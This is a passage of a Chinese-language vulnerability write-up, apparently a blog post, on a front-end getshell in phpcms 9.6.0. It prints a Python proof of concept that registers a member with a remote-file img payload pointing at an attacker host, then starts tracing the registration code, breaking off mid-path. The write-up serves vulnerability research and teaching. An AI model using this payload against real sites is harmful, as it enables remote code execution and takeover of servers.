![5aafb5394bc60e665d338c4a0957e29a.png](https://img-blog.csdnimg.cn/img_convert/5aafb5394bc60e665d338c4a0957e29a.png)
前言
上一节我们分析了phpcms的后台get shell, 但是众所周知, 开发者对后台的漏洞 是不太上心的。因为管理员账号一般只有网站所有者才会有,如果入侵者能获取到管理员 账号,那么基本上意味着网站的所有信息都为他打开了大门,后台漏洞也就不那么重要了。
那么今天要分析的是phpccms 9.6.0版本的前台get shell. 漏洞的利用方式极其简单。 但是相对而言,代码的漏洞实现逻辑就没有前一篇文章那么简易明了了。
POC
先看一下POC:
import re
import requests
def poc(url):
u = '{}/index.php?m=member&c=index&a=register&siteid=1'.format(url)
data = {
'siteid': '1',
'modelid': '1',
'username': 'test',
'password': 'testxx',
'email': 'test@test.com',
'info[content]': '<img src=http://ip/one.txt.php#.jpg>',
'dosubmit': '1',
}
rep = requests.post(u, data=data)
漏洞分析
poc非常简单。如果对phpcms有基本的了解的话,可以从url里看出,这其实就是会员的注册 操作。
好的,那么到phpcms/modules/member/index.php 找到register函数, 一路看下来, 一直到:
if($member_setting['choosemodel']) {
require_once CACHE_MODEL_PATH.'member_input.class.php';
require_once CACHE_MODEL_PATH.'member_update.class.php';
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']);
}
我们看到$_POST['info']在这里被处理过了, 跟进到"new_html_special_chars"函数:
phpcms/libs/functions/global.func.php 第37行
function new_html_special_chars($string) {
$encoding = 'utf-8';
if(strtolower(CHARSET)=='gbk') $encoding = 'ISO-8859-15';
if(!is_array($string)) return htmlspecialchars($string,ENT_QUOTES,$encoding);
foreach($string as $key => $val) $string[$key] = new_html_special_chars($val);
return $string;
}
可以看出, 函数对$_POST['info']进行了html实体转换处理。
好,到下一行, 跳转到$member_input->get函数:
caches/caches_model/caches_